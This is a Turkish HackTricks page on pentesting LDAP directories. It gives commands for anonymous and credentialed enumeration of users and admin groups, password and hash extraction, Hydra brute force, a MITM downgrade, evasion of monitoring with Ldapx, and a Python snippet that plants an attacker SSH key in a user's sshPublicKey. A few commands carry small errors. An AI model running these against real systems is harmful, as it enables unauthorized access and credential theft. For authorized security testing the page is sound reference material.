389, 636, 3268, 3269 - Pentesting LDAP
Reading time: 12 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
LDAP (Hafif Dizin Erişim Protokolü) kullanımı, hem kamu hem de özel ağlar içinde organizasyonlar, bireyler ve dosyalar ile cihazlar gibi çeşitli varlıkları bulmak için esasen kullanılır. Daha önceki versiyonu DAP'a kıyasla daha küçük bir kod ayak izi ile daha akıcı bir yaklaşım sunar.
LDAP dizinleri, birkaç sunucuya dağıtılmalarını sağlamak için yapılandırılmıştır; her sunucu, Dizin Sistemi Ajanı (DSA) olarak adlandırılan dizinin kopyalanmış ve senkronize bir versiyonunu barındırır. İstekleri işleme sorumluluğu tamamen LDAP sunucusuna aittir; bu sunucu, talep sahibine birleşik bir yanıt sunmak için gerektiğinde diğer DSA'larla iletişim kurabilir.
LDAP dizininin organizasyonu, en üstte kök dizin ile başlayan bir ağaç hiyerarşisini andırır. Bu, ülkelere, ardından organizasyonlara ve daha sonra çeşitli bölümleri veya departmanları temsil eden organizasyonel birimlere ayrılır ve nihayetinde bireysel varlıklar seviyesine, hem insanlar hem de dosyalar ve yazıcılar gibi paylaşılan kaynaklar dahil olmak üzere ulaşır.
Varsayılan port: 389 ve 636(ldaps). Global Katalog (ActiveDirectory'deki LDAP) varsayılan olarak 3268 ve 3269 portlarında LDAPS için mevcuttur.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP Veri Değişim Formatı
LDIF (LDAP Veri Değişim Formatı), dizin içeriğini bir dizi kayıt olarak tanımlar. Ayrıca güncelleme taleplerini (Ekle, Değiştir, Sil, Yeniden Adlandır) de temsil edebilir.
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
- Satır 1-3, üst düzey alan adını local olarak tanımlar
- Satır 5-8, birinci düzey alan adını moneycorp (moneycorp.local) olarak tanımlar
- Satır 10-16, 2 organizasyonel birimi: dev ve sales tanımlar
- Satır 18-26, alanın bir nesnesini oluşturur ve değerlerle birlikte nitelikler atar
Veri Yazma
Değerleri değiştirebiliyorsanız, gerçekten ilginç eylemler gerçekleştirebilirsiniz. Örneğin, kullanıcı veya herhangi bir kullanıcının "sshPublicKey" bilgisini değiştirebildiğinizi hayal edin. Bu niteliğin mevcut olması durumunda, ssh'nin LDAP'dan genel anahtarları okuduğu oldukça olasıdır. Bir kullanıcının genel anahtarını değiştirebilirseniz, şifre kimlik doğrulaması ssh'de etkin olmasa bile o kullanıcı olarak giriş yapabileceksiniz.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Düz Metin Kimlik Bilgilerini Dinleme
Eğer LDAP SSL olmadan kullanılıyorsa, ağda kimlik bilgilerini düz metin olarak dinleyebilirsiniz.
Ayrıca, LDAP sunucusu ile istemci arasında bir MITM saldırısı gerçekleştirebilirsiniz. Burada, istemcinin düz metin kimlik bilgilerini kullanarak giriş yapması için bir Downgrade Attack yapabilirsiniz.
Eğer SSL kullanılıyorsa, yukarıda bahsedilen şekilde MITM yapmayı deneyebilirsiniz, ancak yanlış bir sertifika sunarak, eğer kullanıcı bunu kabul ederse, kimlik doğrulama yöntemini düşürme ve kimlik bilgilerini tekrar görme imkanınız olur.
Anonim Erişim
TLS SNI kontrolünü atlama
bu yazıya göre, LDAP sunucusuna rastgele bir alan adı (örneğin company.com) ile erişerek, anonim bir kullanıcı olarak LDAP hizmetiyle iletişim kurup bilgi çıkarabildi.
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
LDAP anonim bağlanmaları
LDAP anonim bağlanmaları, kimlik doğrulaması yapılmamış saldırganların alan bilgilerini, kullanıcıların, grupların, bilgisayarların, kullanıcı hesap özelliklerinin ve alan parola politikasının tam listesini almasına olanak tanır. Bu, eski bir yapılandırmadır ve Windows Server 2003 itibarıyla yalnızca kimlik doğrulaması yapılmış kullanıcıların LDAP istekleri başlatmasına izin verilmektedir.
Ancak, yöneticiler anonim bağlanmalara izin vermek için belirli bir uygulama kurmak zorunda kalmış olabilir ve böylece niyet edilen erişim miktarından daha fazlasını vererek kimlik doğrulaması yapılmamış kullanıcılara AD'deki tüm nesnelere erişim sağlamış olabilirler.
Geçerli Kimlik Bilgileri
LDAP sunucusuna giriş yapmak için geçerli kimlik bilgilerine sahipseniz, alan yöneticisi hakkında tüm bilgileri dökümleyebilirsiniz:
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
Brute Force
Enumeration
Automated
Bunu kullanarak kamusal bilgileri (örneğin alan adı): görebileceksiniz.
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
Python
Python ile LDAP sayımı görün
Python kullanarak kimlik bilgileri ile veya kimlik bilgileri olmadan bir LDAP'ı saymayı deneyebilirsiniz: pip3 install ldap3
Öncelikle kimlik bilgileri olmadan bağlanmayı deneyin:
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
Eğer yanıt True
ise, LDAP'dan bazı ilginç veriler (örneğin isim bağlamı veya alan adı) elde edebilirsiniz:
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
Bir isimlendirme bağlamına sahip olduğunuzda, daha heyecan verici sorgular yapabilirsiniz. Bu basit sorgu, dizindeki tüm nesneleri gösterecektir:
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
Veya dump tüm ldap:
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
windapsearch
Windapsearch bir Windows etki alanından kullanıcıları, grupları ve bilgisayarları listelemek için LDAP sorgularını kullanarak faydalı bir Python betiğidir.
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
ldapsearch
Geçersiz kimlik bilgilerini kontrol edin veya kimlik bilgilerinizin geçerli olup olmadığını kontrol edin:
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
Eğer "bind must be completed" diyen bir şey bulursanız, bu, kimlik bilgilerinin yanlış olduğu anlamına gelir.
Bir alan adından her şeyi çıkartabilirsiniz:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
Kullanıcıları çıkarın:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
bilgisayarlar
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
Çek bilgilerimi:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Domain Admins'i Çıkarın:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Domain Kullanıcıları:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Enterprise Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Yönetici:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Uzak Masaüstü Grubu:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Herhangi bir şifreye erişiminiz olup olmadığını görmek için, sorgulardan birini çalıştırdıktan sonra grep kullanabilirsiniz:
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
Lütfen burada bulabileceğiniz şifrelerin gerçek olmayabileceğini unutmayın...
pbis
pbis'i buradan indirebilirsiniz: https://github.com/BeyondTrust/pbis-open/ ve genellikle /opt/pbis
dizinine kurulur.
Pbis, temel bilgileri kolayca almanızı sağlar:
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
Grafik Arayüzü
Apache Directory
Apache Directory'yi buradan indirin. Bu aracın nasıl kullanılacağına dair bir örneği buradan bulabilirsiniz.
jxplorer
LDAP sunucusu ile grafik bir arayüzü buradan indirebilirsiniz: http://www.jxplorer.org/downloads/users.html
Varsayılan olarak şu dizine kurulur: /opt/jxplorer
Godap
Godap, AD ve diğer LDAP sunucularındaki nesneler ve niteliklerle etkileşimde bulunmak için kullanılabilen etkileşimli bir terminal kullanıcı arayüzüdür. Windows, Linux ve MacOS için mevcuttur ve basit bağlamalar, pass-the-hash, pass-the-ticket ve pass-the-cert gibi yöntemlerin yanı sıra nesneleri arama/oluşturma/değiştirme/silme, gruplardan kullanıcı ekleme/çıkarma, şifre değiştirme, nesne izinlerini (DACL'ler) düzenleme, Active-Directory Entegre DNS (ADIDNS) değiştirme, JSON dosyalarına aktarma gibi birkaç özel özelliği destekler.
Buna https://github.com/Macmod/godap adresinden erişebilirsiniz. Kullanım örnekleri ve talimatlar için Wiki'yi okuyun.
Ldapx
Ldapx, diğer araçlardan LDAP trafiğini incelemek ve dönüştürmek için kullanılabilen esnek bir LDAP proxy'sidir. Kimlik koruma ve LDAP izleme araçlarını aşmaya çalışmak için LDAP trafiğini obfuscate etmekte kullanılabilir ve MaLDAPtive konuşmasında sunulan yöntemlerin çoğunu uygulamaktadır.
Bunu https://github.com/Macmod/ldapx adresinden edinebilirsiniz.
Kerberos ile Kimlik Doğrulama
ldapsearch
kullanarak NTLM yerine kerberos ile kimlik doğrulaması yapabilirsiniz; bunun için -Y GSSAPI
parametresini kullanın.
POST
Veritabanlarının bulunduğu dosyalara erişiminiz varsa (bu /var/lib/ldap içinde olabilir). Hash'leri çıkarmak için:
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
John'a şifre hash'ini ('{SSHA}'dan 'structural'a 'structural' eklemeden) verebilirsiniz.
Yapılandırma Dosyaları
- Genel
- containers.ldif
- ldap.cfg
- ldap.conf
- ldap.xml
- ldap-config.xml
- ldap-realm.xml
- slapd.conf
- IBM SecureWay V3 sunucusu
- V3.sas.oc
- Microsoft Active Directory sunucusu
- msadClassesAttrs.ldif
- Netscape Directory Server 4
- nsslapd.sas_at.conf
- nsslapd.sas_oc.conf
- OpenLDAP dizin sunucusu
- slapd.sas_at.conf
- slapd.sas_oc.conf
- Sun ONE Directory Server 5.1
- 75sas.ldif
HackTricks Otomatik Komutlar
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
Entry_7:
Name: Netexec LDAP BloodHound
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.